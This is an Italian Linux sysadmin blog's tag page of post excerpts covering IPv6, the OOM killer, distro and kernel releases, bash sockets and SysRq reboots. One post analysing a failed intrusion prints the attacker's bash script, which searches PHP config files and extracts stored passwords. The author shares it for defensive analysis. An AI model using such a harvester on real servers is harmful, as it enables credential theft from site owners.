Tag: linux

  • IPv6 su un host CentOS

    Questo articolo inaugura una (spero) nutrita serie di articoli sull’IPv6 per cui è stata creata una tassonomia specifica.

    L’idea è che tutti gli autori del blog condividano le proprie esperienze con IPv6 e le mettano a disposizione degli altri, che le possono consultare utilizzando le categorie nella colonna a sinistra.

    Se qualcuno vuole contribuire come guest blogger oppure come autore ricorrente, per questo tema (o anche per altri) mi scriva pure a lrosa()siamogeek.com.

    Scenario: abbiamo un server CentOS headless in hosting con un IPv4 fisso e configurato, che utilizziamo per fare amministrazione via ssh e dobbiamo aggiungere un indirizzo IPv6 che ci ha assegnato il fornitore.

    La prima differenza rispetto ad un IPv4 è che non ci vengono assegnati, generalmente, uno o due indirizzi, ma un blocco. Nel mio caso mi hanno dato 2a01:4f8:d15:1c00::/64; dal momento che IPv6 ha 128 bit di indirizzo, un /64 significa che ho 64 bit di indirizzo fisso (2a01:4f8:d15:1c00) e altrettanti disponibili per il mio server. Un sogno, se ragioniamo con il razionamento di IPv4.

    (altro…)

  • Linux oom killer

    È successo due volte nell’ultima settimana al server di questo sito ed è successo a molti Linux ospitati su macchine virtuali: improvvisamente sembra che un task occupi tutta la memoria disponibile, Linux va in out of memory e l’azione più rapida per ripristinare i servizi è un reboot.

    Questa volta tutto è cominciato da qui:

    Sep 15 17:16:26 mx kernel: httpd invoked oom-killer: gfp_mask=0x280da, order=0, oom_adj=0, oom_score_adj=0
    Sep 15 17:16:26 mx kernel: httpd cpuset=/ mems_allowed=0
    Sep 15 17:16:26 mx kernel: Pid: 25761, comm: httpd Not tainted 2.6.32-279.5.2.el6.centos.plus.x86_64 #1

    oom (out of memory) killer entra in azione quando la memoria di sistema (fisica + swap) viene esaurita; il suo compito è quello di far fuori dei processi per liberare memoria e ristabilire la normalità.

    Se entra inazione oom-killer vuol dire che bisogna fare qualcosa per evitare che la memoria si esaurisca.

    Il problema risiede nell’approccio ottimista di allocazione della memoria di Linux, l’overcommit, un mix di overbooking delle compagnie aeree e di speranza che i processi non richiedano una quantità esagerata di memoria.

    Ma il peggio può accadere. Sempre.

    (altro…)

  • Analisi di un tentativo di compromissione

    Analizzare i tentativi di attacco dei server è sempre un’esperienza istruttiva per il SysAdmin.

    Questa notte ho analizzato il tentativo di attacco, abortito per varie ragioni tra cui avere il sistema aggiornato, al server web di un cliente.

    L’attaccante ha sfruttato una vulnerabilità di un vecchio script dimenticato per caricare alcuni file, ma poi non è riuscito ad andare molto più in là.

    Uno di questi file è uno script shell bash che fa una cosa interessante:

    count=0
    blankLine=" "
    find / -name "*conf*.php" >> PATHS 2> /dev/null
    TOTAL=`grep -c . PATHS`
    for i in `cat PATHS`;
    do
    grep -i pass $i > tmp
    perl -wne'while(/\x27(.+?)\x27/g){print "$1\n"}' tmp >> pass.tmp
    perl -wne'while(/\x22(.+?)\x22/g){print "$1\n"}' tmp >> parole.tmp
    count=$[count + 1]
    echo -n -e " \r$blankLine\r "
    echo -n -e " $count - $TOTAL "
    done

    Traducendo in italiano, lo script cerca tutti i file PHP il cui nome contiene conf e poi cerca di estrarre le password registrate in quei file.

  • Ubuntu 12.04 LTS Precise Pangolin

    Nuova versione di Ubuntu, questa volta targata LTS (Long Term Support).

    Di norma le versioni di Ubuntu sono supportate per 18 mesi, questa versione verrà supportata per cinque anni, sia nella versione server sia in quella workstation, a differenza delle precedenti LTS in cui il supporto della versione desktop era limitato a tre anni.

    Questa versione introduce l’HUD (Heads-Up Display) per cercare rapidamente le informazioni sul proprio computer. L’HUD viene richiamato premendo e rilasciando il tasto Alt e scrivendo quello che si sta cercando.

    Altro cambiamento degno di nota è il supporto di IPv6 equiparato ad IPv4: viene considerata attiva anche una connessione priva di IPv4 funzionante, ma con il solo IPv6. (altro…)

  • Linux 3.3

    È stata rilasciata la versione 3.3 del kernel di Linux.

    Tra le novità degne di nota ci sono:

    • inclusione di parte del codice di Android, alcune parti tipiche del sistema operativo mobile rimarranno ancora fuori da Linux, ma la gran parte del codice è in fase di integrazione;
    • migliorie e aggiunta della funzione di debugging del file system btrfs;
    • aggiunta del supporto di Open vSwitch, che potenzia lo switch virtuale già presente (linux bridge);
    • aggiunta della funzionalità di teaming delle interfacce di rete che migliora l’attuale bonding.

    Il resto delle novità e i dettagli possono essere letti qui.

  • CentOS 5.8

    È stata rilasciata la versione 5.8 di CentOS.

    L’aggiornamento da qualsiasi versione 5.x può essere fatto eseguendo il comando yum update, non è necessario scaricare i media di installazione.

    Come nella versione precedente, i DVD di installazione sono ora due e il secondo contiene solamente i language pack di OpenOffice. Si può tranquillamente utilizzare un solo DVD e installare i language pack in seguito.

    Sono stati aggiunti questi pacchetti: binutils220, iotop, mysql-connector-odbc64, pixman, postgresql-odbc64, python-ctypes, spice-client, spice-protocol, virt-who e unixODBC64.

    L’elenco dei pacchetti aggiornati e tutte le altre informazioni sono disponibili nelle note di rilascio.

    Le immagini ISO sono disponibili; per il download è sempre consigliabile utilizzare i torrent.

  • Client TCP o UDP con bash

            exec {fd}<>"/dev/tcp/siamogeek.com/http"
            # scrittura nel socket
            printf "GET / HTTP/1.0\r\n" >&$fd
            printf "\r\n" >&$fd
            # lettura "until EOF" dal socket
            cat &-

    Questo breve script per bash permette di scrivere e leggere dei dati da un socket TCP o UDP senza dipendere dalla presenza di altri programmi.

    Il tipo di protocollo, l’host e la porta sono specificati nella prima riga dello script; {fd} serve per dire a bash di aprire il primo file descriptor disponibile.

    La parte di scrittura è conforme allo standard http e deve essere modificata secondo le necessità. (via behind the wall…)

  • Gnome: se non funziona più il tastierino numerico

    Se un bel giorno accendete il PC e scoprite che il tastierino numerico non funziona più come vi aspettate, questa è una soluzione che ha funzionato sul mio PC.

    Aprire con il vostro editor preferito il file /usr/share/X11/xkb/compat/complete

    Cercate queste sue righe:

    augment "mousekeys"
    augment "accessx(full)"

    Mettete due slash davanti per commentarle:

    //augment "mousekeys"
    //augment "accessx(full)"

    Riavviate.

  • Aggiornamenti di PHP per CentOS

    Sono stati rilasciati gli aggiornamenti dei pacchetti php e php53 di CentOS versione 6 e 5.x rispettivamente.

    Questo aggiornamento corregge due bachi di sicurezza dell’interprete, come indicato nella nota di quello che CenOS chiama l’upstream.

    Il primo baco corretto riguarda la funzione di hash degli array suscettibile di collisioni prevedibili. Se un HTTP POST contiene molti parametri il cui nome ha il medesimo hash, il consumo di CPU di PHP aumenta notevolmente.

    Questo problema è stato mitigato introducendo la direttiva di configurazione max_input_vars, il cui valore di default è 1.000.

    Il secondo baco corretto riguarda un integer overflow sui sistemi a 32 bit: se viene caricata un’immagine i cui dati EXIF sono stati modificati ad arte, l’interprete va in crash e potrebbe esporre i dati che ha in memoria.

  • Di quanto spazio abbiamo effettivamente bisogno?

    Dovendo allestire il nuovo server casalingo mi sono posto anche il problema dello storage.

    All’inizio ho fatto una lista della spesa provvisioria per il mio pusher di hardware quasi con il pilota automatico e ho incluso due dischi da 2 Tb andando sulla scelta più conveniente per sostituire i 4 dischi attuali.

    Poi la notte ha portato consiglio.

    (altro…)
  • SysRq e reboot immediati

    Probabilmente il tasto SysRq è il meno utilizzato nella tastiera IBM PC AT.

    Nel kernel di Linux si può attivare questo tasto ed abilitare la funzione Magic SysRq Key che può tornare molto utile in caso di emergenza o necessità.

    Questa feature del kernel può essere sfruttata anche quando si è connessi da remoto in ssh.

    Dovendo forzare il reboot di un sistema che non ne vuole sapere di riavviarsi, basta abilitare Magic SysRq Key con

    echo 1 > /proc/sys/kernel/sysrq

    fermare tutti i servizi che possono essere fermati e poi dare il comando

    echo b > /proc/sysrq-trigger

    che provocherà un reboot istantaneo.

  • Ubuntu 11.10 Oneiric Ocelot

    Aggiornata questa notte sul PC di casa.

    Il reboot ha richiesto un po’ di attesa a causa della connessione di rete, ma probabilmente la colpa è a carico della NIC nVidia integrata nella mia motherboard.

    Lodevole l’idea di mettere la dialog box per il login allineata a sinistra. Questo facilita le cose quando l’impostazione dello schermo non è quella che ci aspetta.

    Questo aggiornamento ha tenuto tutte le impostazioni dell’interfaccia che avevo in precedenza: numero di desktop, sidebar di Unity, gesture di Compiz, posizioni dei pulsanti di controllo delle finestre…

    Thunderbird 7 si integra meglio in Unity rispetto alla versione precedente.

    VMware Workstation 8 è partita senza problemi, dopo aver ricompilato i driver per il nuovo kernel.

    Mi scuserete se non mi appassionano le discussioni sull’interfaccia; usando molte interfacce contemporaneamente ogni giorno, non riesco proprio ad affezionarmi a quella o a quell’altra e preferisco capire come sfruttare un’interfaccia per le mie esigenze piuttosto che combatterla.

    In buona sostanza, tutto funziona come ci si aspetta da Linux: come prima, meglio di prima.

    Arrivederci al prossimo 26 Aprile 2012 per Precise Pangolin.